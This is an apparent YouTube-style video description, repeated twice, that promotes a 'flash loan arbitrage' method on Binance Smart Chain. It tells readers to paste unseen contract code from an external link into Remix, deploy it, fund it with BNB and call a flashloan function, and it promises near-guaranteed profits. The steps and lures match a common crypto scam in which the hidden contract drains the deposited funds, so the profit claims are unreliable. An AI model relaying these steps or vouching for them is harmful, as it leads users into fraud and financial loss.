Original video: https://www.youtube.com/watch?v=Jd2gyH4gleM
***SUBSCRIBE/Bookmark this Youtube Channel/Link And USE ONLY the code from this video or the original video(Link above) for the latest version!***
In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC to swap between PancakeSwap and Bakeryswap. We keep profits in BNB and this can be repeated at times. Higher the volatility, higher profit due to price change.
I have already been very successful doing this method and knowing that times are hard for a lot of people especially during Covid, is why I have decided to share my knowledge to help the public.
Simply follow the instructions in the video.
What is a flashloan attack? https://news.bitcoin.com/data-shows-bsc-dapps-lost-167-million-last-month-from-flash-loan-attacks/
Remix Link - http://remix.ethereum.org/
Smart Contract Code Link - https://cl1p.net/flashloanv2
Here a flash loan borrowed 3,157.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,168.39 BNB using BNB/BUSD BakerySwap. After the arbitrage, 3,168.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs around 0.2 BNB of gas. Note that the transaction sender gains 2.51 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
STEPS: Before starting, install and setup MetaMask in Chrome Browser.
You need to have BNB in your Metamask Wallet, using the BEP20(BSC) Network, not BEP2! Follow this instruction on connecting MetaMask to Binance Smart Chain -
https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code at https://cl1p.net/flashloanv2
3. Create new file in Remix and paste Contract code and wait for everything to load
4. Enter your token details and deploy your contract
5. Get the Contract address from Remix
6. Send 0.2 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.2 BNB fees)
7. Call 'flashloan' function in Remix.
****************************************************************************************************
If it fails, repeat the TX again WITH 31560 GAS LIMIT AS SEEN IN THE VIDEO
****************************************************************************************************
Example: To attempt a flash loan of 5,000 BNB(1000 Minimum advised for the best minimal results) You have to use a gas fee of at least 1 BNB(0.20 BNB per every 1000 BNB) IF YOU DO NOT HAVE ENOUGH GAS, THE FLASHLOAN WILL FAIL!
Add at least 0.20BNB gas (0.30 is better) in each transaction (Per 1000 Loan amount)
The amount you can earn varies and depends on the arbitrary differences in the liquidity of the pool
If the contract is unable to make a profit from the pool and repay the flashloan whilst pocketing the profits all in one single transaction, then the transaction will revert as if nothing happened which is the nature of flash loans.
The higher the flash loan, the better chances of being able to execute a profitable flash loan attack, which is why we see flash loan attackers doing millions at a time. A flash loan of 5,000 BNB or higher is almost guaranteed to work every time but occasionally lower amounts such as the one demonstrated in the video can work too.
You can make the same for Ethereum, on the Ethereum network because PancakeSwap is a fork of Uniswap
Also works on TrustWallet for Mobile, simply follow the same steps
Anyone who has followed the tutorial and has successfully completed their first flash loan attack may fill out this form: https://forms.gle/S5t2WRcyvgXQkGgS8 to be invited into the secret "Flash Loan Attackers Club" channel on Telegram where I will be teaching more advanced techniques such as how to add additional pairs to the code like Bogged/BNB etc!
***SUBSCRIBE/Bookmark this Youtube Channel/Link And USE ONLY the code from this video or the original video(Link above) for the latest version!***
In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC to swap between PancakeSwap and Bakeryswap. We keep profits in BNB and this can be repeated at times. Higher the volatility, higher profit due to price change.
I have already been very successful doing this method and knowing that times are hard for a lot of people especially during Covid, is why I have decided to share my knowledge to help the public.
Simply follow the instructions in the video.
What is a flashloan attack? https://news.bitcoin.com/data-shows-bsc-dapps-lost-167-million-last-month-from-flash-loan-attacks/
Remix Link - http://remix.ethereum.org/
Smart Contract Code Link - https://cl1p.net/flashloanv2
Here a flash loan borrowed 3,157.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,168.39 BNB using BNB/BUSD BakerySwap. After the arbitrage, 3,168.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs around 0.2 BNB of gas. Note that the transaction sender gains 2.51 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
STEPS: Before starting, install and setup MetaMask in Chrome Browser.
You need to have BNB in your Metamask Wallet, using the BEP20(BSC) Network, not BEP2! Follow this instruction on connecting MetaMask to Binance Smart Chain -
https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code at https://cl1p.net/flashloanv2
3. Create new file in Remix and paste Contract code and wait for everything to load
4. Enter your token details and deploy your contract
5. Get the Contract address from Remix
6. Send 0.2 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.2 BNB fees)
7. Call 'flashloan' function in Remix.
****************************************************************************************************
If it fails, repeat the TX again WITH 31560 GAS LIMIT AS SEEN IN THE VIDEO
****************************************************************************************************
Example: To attempt a flash loan of 5,000 BNB(1000 Minimum advised for the best minimal results) You have to use a gas fee of at least 1 BNB(0.20 BNB per every 1000 BNB) IF YOU DO NOT HAVE ENOUGH GAS, THE FLASHLOAN WILL FAIL!
Add at least 0.20BNB gas (0.30 is better) in each transaction (Per 1000 Loan amount)
The amount you can earn varies and depends on the arbitrary differences in the liquidity of the pool
If the contract is unable to make a profit from the pool and repay the flashloan whilst pocketing the profits all in one single transaction, then the transaction will revert as if nothing happened which is the nature of flash loans.
The higher the flash loan, the better chances of being able to execute a profitable flash loan attack, which is why we see flash loan attackers doing millions at a time. A flash loan of 5,000 BNB or higher is almost guaranteed to work every time but occasionally lower amounts such as the one demonstrated in the video can work too.
You can make the same for Ethereum, on the Ethereum network because PancakeSwap is a fork of Uniswap
Also works on TrustWallet for Mobile, simply follow the same steps
Anyone who has followed the tutorial and has successfully completed their first flash loan attack may fill out this form: https://forms.gle/S5t2WRcyvgXQkGgS8 to be invited into the secret "Flash Loan Attackers Club" channel on Telegram where I will be teaching more advanced techniques such as how to add additional pairs to the code like Bogged/BNB etc!
- Category
- Crypto Trading
- Tags
Be the first to comment
